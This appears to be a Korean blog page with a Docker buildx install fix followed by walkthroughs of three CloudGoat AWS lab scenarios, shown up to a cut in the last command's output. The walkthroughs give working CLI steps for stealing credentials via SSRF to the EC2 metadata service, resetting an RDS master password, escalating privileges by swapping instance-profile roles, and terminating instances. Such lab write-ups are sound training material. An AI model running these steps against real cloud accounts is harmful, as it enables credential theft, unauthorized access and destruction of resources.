반응형

 

이 글을 보시는 분이라면 Ubuntu에서 docker buildx가 동작하지 않으셨기 때문에 찾아오셨을 겁니다.

실망시키지 않고 무조건 해결되는 방법을 알려드리겠습니다.

 

아마 여러분은 buildx가 설치되지 않아 ChatGPT 한테도 물어본 결과 아래와 같은 답변을 얻으셨을 겁니다.

### Buildx에 대한 ChapGPT 답변 ###
mkdir -p ~/.docker/cli-plugins
curl -SL https://github.com/docker/buildx/releases/latest/download/buildx-linux.amd64 -o ~/.docker/cli-plugins/docker-buildx
chmod +x ~/.docker/cli-plugins/docker-buildx

### Docker buildx 설치 확인 ###
$ docker buildx version

 

결론적으로 위에 있는 ChatGPT의 정보는 틀린 정보입니다.

위 명령어를 입력한 후 docker buildx version 명령어를 입력하면 아래와 같이 명령어가 작동하지 않을 겁니다.

 

 

 

  해결 방법 - (Docker 공식 홈페이지 참조)

 

1. 기존 설치된 Docker 삭제

가장 먼저 해야할 일은 기존 Ubuntu에 설치되어 있는 Docker를 삭제해야 합니다.

해당 정보는 Docker 공식 홈페이지에 있는 내용을 참고하였습니다.

 

https://docs.docker.com/engine/install/ubuntu/

 

Ubuntu

Jumpstart your client-side server applications with Docker Engine on Ubuntu. This guide details prerequisites and multiple methods to install Docker Engine on Ubuntu.

docs.docker.com

 

아래 명령어를 입력하여 기존 설치된 도커를 삭제해 주세요

### Docker 삭제 명령어 ###
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done

 

 

 

2. Docker 설치

Docker 공식 홈페이지에 명시되어 있는 Ubuntu Docker 설치 방법을 그대로 따라서 입력합니다.

### 1. Set up Docker's apt repository. ###

# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

### 2. Install the Docker packages. ###
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

 

설치가 완료되면 정상 설치가 되었는지만 확인하면 됩니다.

 

 

3. 정상 설치 확인

docker buildx 명령어로 버전을 확인 해보면 정상적으로 설치되었는지 알 수 있습니다.

버전이 출력되면 정상적으로 설치된 겁니다.

(혹시!! 그래도 안된다면 4번 번외편을 참고해주세요)

docker buildx version

docker buildx 버전 확인-1

 

 

4. 번외편 - 그래도 안된다면...

docker --help 명령어를 입력했을 때 스크롤을 내리다 보면 아래 사진과 같이

buildx가 Invalid Plugins(잘못된 플러그인)이라는 메시지가 나오는 분들은 ~/.docker/cli-plugins 하위에 있는 docker-buildx 파일을 삭제해야 합니다.

 

docker-buildx 파일 삭제

cd ~/.docker/cli-plugins
rm docker-buildx

 

삭제 후 바로 version 확인을 해보면 정상 동작 하는 것을 확인할 수 있습니다.

docker buildx 버전 확인-2

 

 

이 글이 도움이 되셨기를 바랍니다.

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형

'IT > Docker' 카테고리의 다른 글

[Docker] 도커 필수 명령어 원페이지 정리 노트  (8) 2022.03.17
반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/rds_snapshot/README.md

 

cloudgoat/cloudgoat/scenarios/aws/rds_snapshot/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

  문제 설명

1. Starting with access to EC2, the user can leverage the privileges of the EC2 instance to steal credentials from S3.

2. With the stolen credentials, the attacker can gain RDS Snapshot restore privileges, which will allow them to access the DB and retrieve flags.

RDS_snapshot 시나리오

 

  문제 풀이

1. 현재 권한 분석

# ---------- 1. 현재 권한 분석 ----------

### 프로파일 생성 ###
aws configure --profile s3_secret


###  계정 리스트 확인 ###
aws iam list-users \
	--profile s3_secret
{
    "Users": [
        {
            "Path": "/",
            "UserName": "cg-rds-instance-user-cgidlienje4waf",
            "UserId": "AIDA2YICACBLYARASU3BI",
            "Arn": "arn:aws:iam::739275444311:user/cg-rds-instance-user-cgidlienje4waf",
            "CreateDate": "2025-05-02T03:20:25Z"
        }
}


### 정책 리스트 확인 ###
aws iam list-policies \
	--profile s3_secret | grep cgidlienje4waf


### <user> 에게 적용된 Inline 정책 ###
aws iam list-user-policies \
	--user-name cg-rds-instance-user-cgidlienje4waf \
	--profile s3_secret
{
    "PolicyNames": [
        "cg-david-policy"
    ]
}


### <user> 에게 적용된 Inline 정책 (확인) ###
aws iam get-user-policy \
	--policy-name cg-david-policy \
	--user-name cg-rds-instance-user-cgidlienje4waf \
	--profile s3_secret
{
    "UserName": "cg-rds-instance-user-cgidlienje4waf",
    "PolicyName": "cg-david-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "rds:DescribeDBInstances",
                    "rds:AddTagsToResource",
                    "rds:DescribeDBSnapshots",
                    "rds:RestoreDBInstanceFromDBSnapshot",
                    "rds:ModifyDBInstance",
                    "iam:Get*",
                    "iam:List*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            }
        ]
    }
}


### 역할 리스트 ###
aws iam list-roles \
	--profile s3_secret
{
	"Path": "/",
	"RoleName": "cg-ec2-admin-role",
	"RoleId": "AROA2YICACBLQ2G44QKBG",
	"Arn": "arn:aws:iam::739275444311:role/cg-ec2-admin-role",
	"CreateDate": "2025-05-02T03:20:25Z",
	"AssumeRolePolicyDocument": {
		"Version": "2012-10-17",
		"Statement": [
			{
				"Effect": "Allow",
				"Principal": {
					"Service": "ec2.amazonaws.com"
				},
				"Action": "sts:AssumeRole"
			}
		]
	},
	"MaxSessionDuration": 3600
}


### 역할 확인 ###
aws iam get-role \
	--role-name cg-ec2-admin-role \
	--profile s3_secret
{
    "Role": {
        "Path": "/",
        "RoleName": "cg-ec2-admin-role",
        "RoleId": "AROA2YICACBLQ2G44QKBG",
        "Arn": "arn:aws:iam::739275444311:role/cg-ec2-admin-role",
        "CreateDate": "2025-05-02T03:20:25Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "ec2.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "rds_snapshot"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ],
        "RoleLastUsed": {
            "LastUsedDate": "2025-05-02T04:05:51Z",
            "Region": "us-east-1"
        }
    }
}


### DB 인스턴스 리스트 ###
aws rds describe-db-instances --profile s3_secret
{
    "DBInstances": [
        {
            "DBInstanceIdentifier": "cg-rds",
            "DBInstanceClass": "db.t3.micro",
            "Engine": "mysql",
            "DBInstanceStatus": "available",
            "MasterUsername": "cgadmin",
            "Endpoint": {
                "Address": "cg-rds.ca5yusseq5gc.us-east-1.rds.amazonaws.com",
                "Port": 3306,
                "HostedZoneId": "Z2R2ITUGPM61AM"
            },
            "AllocatedStorage": 20,
            "InstanceCreateTime": "2025-05-02T03:24:11.656Z",
            "PreferredBackupWindow": "06:14-06:44",
            "BackupRetentionPeriod": 0,
            "DBSecurityGroups": [],
            "VpcSecurityGroups": [
                {
                    "VpcSecurityGroupId": "sg-0c427606feb354b7b",
                    "Status": "active"
                }
            ],
            "DBParameterGroups": [
                {
                    "DBParameterGroupName": "default.mysql5.7",
                    "ParameterApplyStatus": "in-sync"
                }
            ],
            
			# 중간생략 #
			
            "CustomerOwnedIpEnabled": false,
            "ActivityStreamStatus": "stopped",
            "BackupTarget": "region",
            "NetworkType": "IPV4",
            "StorageThroughput": 0,
            "CertificateDetails": {
                "CAIdentifier": "rds-ca-rsa2048-g1"
            },
            "DedicatedLogVolume": false,
            "IsStorageConfigUpgradeAvailable": false,
            "EngineLifecycleSupport": "open-source-rds-extended-support"
        }
    ]
}

 

 

2. DB 패스워드 수정 및 DB 정보 탈취

# ---------- 2. DB 패스워드 수정 및 DB 정보 탈취 ----------


### DB 인스턴스 수정 (master-user-password) ###
aws rds modify-db-instance --db-instance-identifier cg-rds --master-user-password <원하는_패스워드> --profile s3_secret


### DB 인스턴스 접속 ###
mysql -h cg-rds.ca5yusseq5gc.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -p


### DB 명령어 ###
1) show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| innodb             |
| mydatabase         |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
6 rows in set (0.00 sec)

2) use mydatabase;
3) show tables;
+----------------------+
| Tables_in_mydatabase |
+----------------------+
| flag                 |
+----------------------+
1 row in set (0.00 sec)

4) select * from flag;

 

secret flag 내용

 

 

  보안 개선 방안

1. IAM 권한은 최소로 운영할 것

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

caul334@gmail.com

반응형
반응형

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/ec2_ssrf/README.md

 

cloudgoat/cloudgoat/scenarios/aws/ec2_ssrf/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 설명

1. IAM 사용자 Solus로 시작하는 공격자는 Lambda 함수에 대한 읽기 전용 권한이 있음을 발견합니다.

2. 이 권한은 하드코딩된 비밀 정보를 통해 서버 측 요청 위조(SSRF)에 취약한 웹 애플리케이션을 실행하는 EC2 인스턴스로 연결됩니다.

3. 취약한 앱을 악용하고 EC2 메타데이터 서비스에서 키를 획득한 후

4. 공격자는 Lambda 함수를 호출하고 시나리오를 완료할 수 있는 키 세트가 있는 프라이빗 S3 버킷에 접근합니다.

 

 

  문제 풀이

1. 현재 권한 확인

# ---------- 1. 현재 권한 확인 ----------
### 프로파일 생성 ###
aws configure --profile solus

###  계정 리스트 확인 ###
aws iam list-users \
	--profile solus
<AccessDenied>

### 역할 리스트 ###
aws iam list-roles \
	--profile solus | grep cgid3ng0va9fkp
<AccessDenied>

### 역할 확인 ###
aws iam get-role \
	--role-name cg-lambda-role-cgid3ng0va9fkp-service-role \
	--profile solus
<AccessDenied>

###  Lambda 함수 리스트 ###
aws lambda list-functions \
	--profile solus
{
    "Functions": [
        {
            "FunctionName": "cg-lambda-cgid3ng0va9fkp",
            "FunctionArn": "arn:aws:lambda:us-east-1:739275444311:function:cg-lambda-cgid3ng0va9fkp",
            "Runtime": "python3.11",
            "Role": "arn:aws:iam::739275444311:role/cg-lambda-role-cgid3ng0va9fkp-service-role",
            "Handler": "lambda.handler",
            "CodeSize": 223,
            "Description": "Invoke this Lambda function for the win!",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2025-04-29T08:50:07.646+0000",
            "CodeSha256": "xt7bNZt3fzxtjSRjnuCKLV/dOnRCTVKM3D1u/BeK8zA=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "EC2_ACCESS_KEY_ID": "<EC2_ACCESS_KEY_ID>",
                    "EC2_SECRET_KEY_ID": "<EC2_SECRET_KEY_ID>"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "4b012c8a-ef41-41f7-b50c-d54a55f4f0fc",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/cg-lambda-cgid3ng0va9fkp"
            }
        }
    ]
}

###  Lambda 함수 확인 ###
aws lambda get-function \
    --function-name  cg-lambda-cgid3ng0va9fkp \
	--profile solus
{
    "Configuration": {
        "FunctionName": "cg-lambda-cgid3ng0va9fkp",
        "FunctionArn": "arn:aws:lambda:us-east-1:739275444311:function:cg-lambda-cgid3ng0va9fkp",
        "Runtime": "python3.11",
        "Role": "arn:aws:iam::739275444311:role/cg-lambda-role-cgid3ng0va9fkp-service-role",
        "Handler": "lambda.handler",
        "CodeSize": 223,
        "Description": "Invoke this Lambda function for the win!",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2025-04-29T08:50:07.646+0000",
        "CodeSha256": "xt7bNZt3fzxtjSRjnuCKLV/dOnRCTVKM3D1u/BeK8zA=",
        "Version": "$LATEST",
        "Environment": {
            "Variables": {
                "EC2_ACCESS_KEY_ID": "<EC2_ACCESS_KEY_ID>",
                "EC2_SECRET_KEY_ID": "<EC2_SECRET_KEY_ID>"
            }
        },
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "4b012c8a-ef41-41f7-b50c-d54a55f4f0fc",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:93841db3a9beab9ac5a6a1822362b2f10a99e5edf5f36ba23aec15e41ff97311"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/cg-lambda-cgid3ng0va9fkp"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/739275444311/cg-lambda-cgid3ng0va9fkp-102270d8-26cd-42ca-ab34-17ad0de570f1?versionId=ZKRScKHMelPURWTV6z7x.rFQzsCiTuMp&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEPT%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIQCdqsNl%2FNUjfJEjGZrFS%2FYPUKkpLFT1JF8sNYAl1o8HXwIgS6tYYNO26ovquz2MfbPwGW07%2BZN4YBuawrMHI%2Boh7W8qkgIIjf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw3NDk2Nzg5MDI4MzkiDL8lqA7g%2Bxgox7h3NirmAa8nhap6AJbzx%2BO85R1SDlR9JQcyrOVqD9RIK63YlrjAiU6ke1morbQ7wMLhQJyA1rfpBpQ3Q0hjvMEYyAY8ONBERUYZzwYkcgnrp%2FEvwcHt2adKMMTOC8rW3Mb2opfo6H7TsPdztnyyx80FB4MGbP4ypcq4NTMh3YdmyvvGl9L7Sb5rK1VanWtZ3E906UrUEjTBX3N6LQJYqZUhsIB8tr6dEs3ZDfRYJkYKeh%2BvpGJK65kS6gnlOHz9eqKWrckmvNrXKKp%2BnqaHtFTYtKCnqeoZk%2BOreFY%2F%2F5wRX7U%2BRJXshkFN2ORQMMPywsAGOo8BKp%2FwsspaLV3qAg8CL5zowab3kaMAIeE2N0aOgXGu2zraV3UNKluFrOrbTdHpbTkTHtVEnyveKn4L3dTHPZGaK%2FjTQwf1%2BBFToeYnHRZjn6rDuztQZLK%2B58g8E5fQhkhg9gYCwu4ugoXW73i7dsWSB1GpdD2joMWTLayeDuzxn3gIQy6Cutrhf6fir4iNphU%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250429T122628Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY3U57R6AAE%2F20250429%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=ffc674f6aaf696b7afdc18e6f1505ccd3c40d0af98d85dc6fa2338cd58f625af"
    },
    "Tags": {
        "Scenario": "iam_privesc_by_key_rotation",
        "Stack": "CloudGoat"
    }
}

 

 

2. 새로운 프로파일 생성 후 EC2 인스턴스 조회

# ---------- 2. 새로운 프로파일 생성 후 추가 정보(EC2 인스턴스) 조회 ----------

### Lambda에 HardCoding된 정보를 기반으로 가진 프로파일 생성 ###
aws configure --profile solus_ec2


### 현재 인스턴스 조회 ###
aws ec2 describe-instances \
	--profile solus_ec2
{
    "Reservations": [
        {
            "ReservationId": "r-011d0ae0bcc4a1607",
            "OwnerId": "739275444311",
            "Groups": [],
            "Instances": [
                {
                    "Architecture": "x86_64",
                    "BlockDeviceMappings": [
                        {
                            "DeviceName": "/dev/sda1",
                            "Ebs": {
                                "AttachTime": "2025-04-29T08:50:24.000Z",
                                "DeleteOnTermination": true,
                                "Status": "attached",
                                "VolumeId": "vol-03a66e1dd208549fe"
                            }
                        }
                    ],
                    "ClientToken": "terraform-20250429085022732100000005",
                    "EbsOptimized": false,
                    "EnaSupport": true,
                    "Hypervisor": "xen",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::739275444311:instance-profile/cg-ec2-instance-profile-cgid3ng0va9fkp",
                        "Id": "AIPA2YICACBL5SV3SD5XB"
                    },
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "ec2-3-82-7-208.compute-1.amazonaws.com",
                                "PublicIp": "3.82.7.208"
                            },
                            "Attachment": {
                                "AttachTime": "2025-04-29T08:50:24.000Z",
                                "AttachmentId": "eni-attach-011e86f4de13de372",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached",
                                "NetworkCardIndex": 0
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupId": "sg-020343a04c6ac4b1b",
                                    "GroupName": "cg-ec2-ssh-cgid3ng0va9fkp"
                                }
                            ],
                            "Ipv6Addresses": [],
                            "MacAddress": "0e:5d:6d:a8:d9:63",
                            "NetworkInterfaceId": "eni-09523d32d6838b3c8",
                            "OwnerId": "739275444311",
                            "PrivateDnsName": "ip-10-10-10-157.ec2.internal",
                            "PrivateIpAddress": "10.10.10.157",
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "IpOwnerId": "amazon",
                                        "PublicDnsName": "ec2-3-82-7-208.compute-1.amazonaws.com",
                                        "PublicIp": "3.82.7.208"
                                    },
                                    "Primary": true,
                                    "PrivateDnsName": "ip-10-10-10-157.ec2.internal",
                                    "PrivateIpAddress": "10.10.10.157"
                                }
                            ],
                            "SourceDestCheck": true,
                            "Status": "in-use",
                            "SubnetId": "subnet-0ad73bf67479bef9c",
                            "VpcId": "vpc-08cf7ab520e149c5b",
                            "InterfaceType": "interface",
                            "Operator": {
                                "Managed": false
                            }
                        }
                    ],
                    "RootDeviceName": "/dev/sda1",
                    "RootDeviceType": "ebs",
                    "SecurityGroups": [
                        {
                            "GroupId": "sg-020343a04c6ac4b1b",
                            "GroupName": "cg-ec2-ssh-cgid3ng0va9fkp"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Tags": [
                        {
                            "Key": "Scenario",
                            "Value": "iam_privesc_by_key_rotation"
                        },
                        {
                            "Key": "Stack",
                            "Value": "CloudGoat"
                        },
                        {
                            "Key": "Name",
                            "Value": "cg-ubuntu-ec2-cgid3ng0va9fkp"
                        }
                    ],
                    "VirtualizationType": "hvm",
                    "CpuOptions": {
                        "CoreCount": 1,
                        "ThreadsPerCore": 2
                    },
                    "CapacityReservationSpecification": {
                        "CapacityReservationPreference": "open"
                    },
                    "HibernationOptions": {
                        "Configured": false
                    },
                    "MetadataOptions": {
                        "State": "applied",
                        "HttpTokens": "optional",
                        "HttpPutResponseHopLimit": 2,
                        "HttpEndpoint": "enabled",
                        "HttpProtocolIpv6": "disabled",
                        "InstanceMetadataTags": "disabled"
                    },
                    "EnclaveOptions": {
                        "Enabled": false
                    },
                    "BootMode": "uefi-preferred",
                    "PlatformDetails": "Linux/UNIX",
                    "UsageOperation": "RunInstances",
                    "UsageOperationUpdateTime": "2025-04-29T08:50:24.000Z",
                    "PrivateDnsNameOptions": {
                        "HostnameType": "ip-name",
                        "EnableResourceNameDnsARecord": false,
                        "EnableResourceNameDnsAAAARecord": false
                    },
                    "MaintenanceOptions": {
                        "AutoRecovery": "default"
                    },
                    "CurrentInstanceBootMode": "uefi",
                    "NetworkPerformanceOptions": {
                        "BandwidthWeighting": "default"
                    },
                    "Operator": {
                        "Managed": false
                    },
                    "InstanceId": "i-01d059d0f23e288db",
                    "ImageId": "ami-0f40b6e9b85d19284",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "PrivateDnsName": "ip-10-10-10-157.ec2.internal",
                    "PublicDnsName": "ec2-3-82-7-208.compute-1.amazonaws.com",
                    "StateTransitionReason": "",
                    "KeyName": "cg-ec2-key-pair-cgid3ng0va9fkp",
                    "AmiLaunchIndex": 0,
                    "ProductCodes": [],
                    "InstanceType": "t3.micro",
                    "LaunchTime": "2025-04-30T08:21:29.000Z",
                    "Placement": {
                        "GroupName": "",
                        "Tenancy": "default",
                        "AvailabilityZone": "us-east-1a"
                    },
                    "Monitoring": {
                        "State": "disabled"
                    },
                    "SubnetId": "subnet-0ad73bf67479bef9c",
                    "VpcId": "vpc-08cf7ab520e149c5b",
                    "PrivateIpAddress": "10.10.10.157",
                    "PublicIpAddress": "3.82.7.208"
                }
            ]
        }
    ]
}

 

 

 

3. 역할 권한 탈취 후 S3 접근

# ---------- 3. 역할 권한 탈취 후 S3 접근 ----------

### 잘못된 Meta-data 설정에 따른 역할 권한 획득 ###
curl http://3.82.7.208/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgid3ng0va9fkp
{
  "Code" : "Success",
  "LastUpdated" : "2025-04-30T08:21:19Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "<aws_access_key_id>",
  "SecretAccessKey" : "<aws_secret_access_key>",
  "Token" : "<aws_session_token>",
  "Expiration" : "2025-04-30T14:56:32Z"
}

### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set \
	aws_access_key_id <aws_access_key_id> \
	--profile solus_ec2_role
aws configure set \
	aws_secret_access_key <aws_secret_access_key> \
	--profile solus_ec2_role
aws configure set \
	aws_session_token  <aws_session_token> \
	--profile solus_ec2_role

### S3 조회 (1) ###
aws s3 ls \
	--profile solus_ec2_role
2025-04-29 08:50:00 cg-secret-s3-bucket-cgid3ng0va9fkp

### S3 조회 (2) ###
aws s3 ls s3://cg-secret-s3-bucket-cgid3ng0va9fkp/aws/credentials \
	--recursive \
	--profile solus_ec2_role

### 다운로드 받을 파일 생성 ###
mkdir s3_download

### 버킷에 있는 데이터 다운로드 ###
aws s3 cp s3://cg-secret-s3-bucket-cgid3ng0va9fkp/aws ./s3_download --recursive --profile solus_ec2_role

### credentials 파일 확인 ###
c4b39881d3d7:/usr/src/cloudgoat/s3_download# cat credentials 
[default]
aws_access_key_id = AKIA2YICAC**********3
aws_secret_access_key = /yeRd2bYMieaclSoR8Nl2uI/***********r
region = us-east-1

 

 

  보안 개선 방안

1. IAM 권한은 최소로 운영할 것

 

2. Lambda 함수를 포함한 그 어디에도 하드코딩으로 인증정보 기입하지 말 것

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

 

반응형
반응형

 

 

  문제 URL 경로

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/iam_privesc_by_attachment/README.md

 

cloudgoat/cloudgoat/scenarios/aws/iam_privesc_by_attachment/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

  문제 설명

1. 매우 제한적인 권한을 가진 IAM 사용자 Kerrigan으로 시작할 것

2. EC2 인스턴스를 생성하고 instance-profile-attachment를 이용하여 권한을 상승시킬 것

3. 생성한 EC2 인스턴스에 접근하여 Administrator 권한을 획득하여 "cg-super-critical-security-server" 서버를 삭제할 것

 

 

  문제 풀이

 

1. 현재 권한 분석

# ---------- 1. 현재 권한 분석 ----------

### 현재 인스턴스 조회 ###
aws ec2 describe-instances \
	--profile kerrigan
{
    "Reservations": [
        {
            "ReservationId": "r-02b3b796eca066497",
            "OwnerId": "739275444311",
            "Groups": [],
            "Instances": [
                {
                    "Architecture": "x86_64",
					
                    # 중간 생략 #
					
                    "InstanceId": "i-0e4373c105fa428e3"
                }
            ]
        }
    ]
}

### 역할 리스트 ###
aws iam list-roles \
	--profile kerrigan | grep cgid5n4scah1af
# --- 역할 1 --- #
"RoleName": "cg-ec2-meek-role-cgid5n4scah1af",
"Arn": "arn:aws:iam::739275444311:role/cg-ec2-meek-role-cgid5n4scah1af",
"Description": "CloudGoat cgid5n4scah1af EC2 Meek Role",
# --- 역할 2 --- #
"RoleName": "cg-ec2-mighty-role-cgid5n4scah1af",
"Arn": "arn:aws:iam::739275444311:role/cg-ec2-mighty-role-cgid5n4scah1af",
"Description": "CloudGoat cgid5n4scah1af EC2 Mighty Role",


### 인스턴스 프로파일 조회 ###
aws iam list-instance-profiles \
	--profile kerrigan
{
"InstanceProfiles": [
	{
		"Path": "/",
		"InstanceProfileName": "cg-ec2-meek-instance-profile-cgid5n4scah1af",
		"InstanceProfileId": "AIPA2YICACBLUSJDY2HTN",
		"Arn": "arn:aws:iam::739275444311:instance-profile/cg-ec2-meek-instance-profile-cgid5n4scah1af",
		"CreateDate": "2025-04-21T05:51:01+00:00",
		"Roles": [
			{
				"Path": "/",
				"RoleName": "cg-ec2-meek-role-cgid5n4scah1af",
				"RoleId": "AROA2YICACBL573QJBN24",
				"Arn": "arn:aws:iam::739275444311:role/cg-ec2-meek-role-cgid5n4scah1af",
				"CreateDate": "2025-04-21T05:51:00+00:00",
				"AssumeRolePolicyDocument": {
					"Version": "2012-10-17",
					"Statement": [
						{
							"Effect": "Allow",
							"Principal": {
								"Service": "ec2.amazonaws.com"
							},
							"Action": "sts:AssumeRole"
						}
					]
				}
			}
		]
	}
]
}

 

 

2. Key Pair 생성 및 인스턴스 프로파일 변경

# ---------- 2. Key Pair 생성 및 인스턴스 프로파일 변경 ----------


### Key pair 생성 ###
aws ec2 create-key-pair \
	--key-name MyKeyPair2 \
	--query KeyMaterial \
	--profile kerrigan \
	--output text > MyKeyPair2.pem


### 인스턴스 생성 ###
aws ec2 run-instances \
    --image-id ami-0655cec52acf2717b \
    --instance-type t2.micro \
    --key-name MyKeyPair2 \
	--subnet-id subnet-018433d538c36cb61 \
	--security-group-ids sg-032c2d69e47036e9c \
	--associate-public-ip-address \
	--profile kerrigan


### 인스턴스 프로파일 역할 제거 ###
aws iam remove-role-from-instance-profile \
    --instance-profile-name cg-ec2-meek-instance-profile-cgid5n4scah1af \
    --role-name cg-ec2-meek-role-cgid5n4scah1af \
	--profile kerrigan


### 인스턴스 프로파일 역할 추가 ###
aws iam add-role-to-instance-profile \
    --role-name cg-ec2-mighty-role-cgid5n4scah1af \
    --instance-profile-name cg-ec2-meek-instance-profile-cgid5n4scah1af \
	--profile kerrigan


### 인스턴스 프로파일 연결 ###
aws ec2 associate-iam-instance-profile \
	--instance-id i-01a2d7a214ece1324 \
	--iam-instance-profile Name=cg-ec2-meek-instance-profile-cgid5n4scah1af \
	--profile kerrigan
{
    "IamInstanceProfileAssociation": {
        "AssociationId": "iip-assoc-0d24a754b30a684d3",
        "InstanceId": "i-040bfd349489d0544",
        "IamInstanceProfile": {
            "Arn": "arn:aws:iam::739275444311:instance-profile/cg-ec2-meek-instance-profile-cgid5n4scah1af",
            "Id": "AIPA2YICACBLUSJDY2HTN"
        },
        "State": "associating"
    }
}

 

 

3. 생성한 인스턴스 접근 및 권한 탈취

# ---------- 3. 생성한 인스턴스 접근 및 권한 탈취 ----------

### 생성한 인스턴스 접속 ###
ssh -i MyKeyPair2.pem ubuntu@<EC2 Public IP>


### meta data 요청 ###
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-mighty-role-cgid5n4scah1af


### 역할 프로파일 생성 ###
aws configure set --profile mighty aws_access_key_id <aws_access_key_id>
aws configure set --profile mighty aws_secret_access_key <aws_secret_access_key>
aws configure set --profile mighty aws_session_token <aws_session_token>

 

 

4. 탈취한 권한으로 인스턴스 삭제

# ---------- 4. 탈취한 권한으로 인스턴스 삭제 ----------


### 역할에 붙은 Inline 정책 이름 확인 ###
aws iam list-attached-role-policies \
	--role-name cg-ec2-mighty-role-cgid5n4scah1af \
	--profile mighty
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-ec2-mighty-policy",
            "PolicyArn": "arn:aws:iam::739275444311:policy/cg-ec2-mighty-policy"
        }
    ]
}


### 정책 버전 상세 확인 ###
aws iam get-policy-version \
    --policy-arn arn:aws:iam::739275444311:policy/cg-ec2-mighty-policy \
    --version-id v1 \
    --profile mighty
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-21T05:50:59+00:00"
    }
}

### 현재 인스턴스 조회 ###
aws ec2 describe-instances \
	--profile mighty
{
	# 중간 생략 #
	"InstanceId": "i-0e4373c105fa428e3"
}

### 인스턴스 종료(Terminate) ###
aws ec2 terminate-instances \
	--instance-ids i-0e4373c105fa428e3 \
	--profile mighty
{
    "TerminatingInstances": [
        {
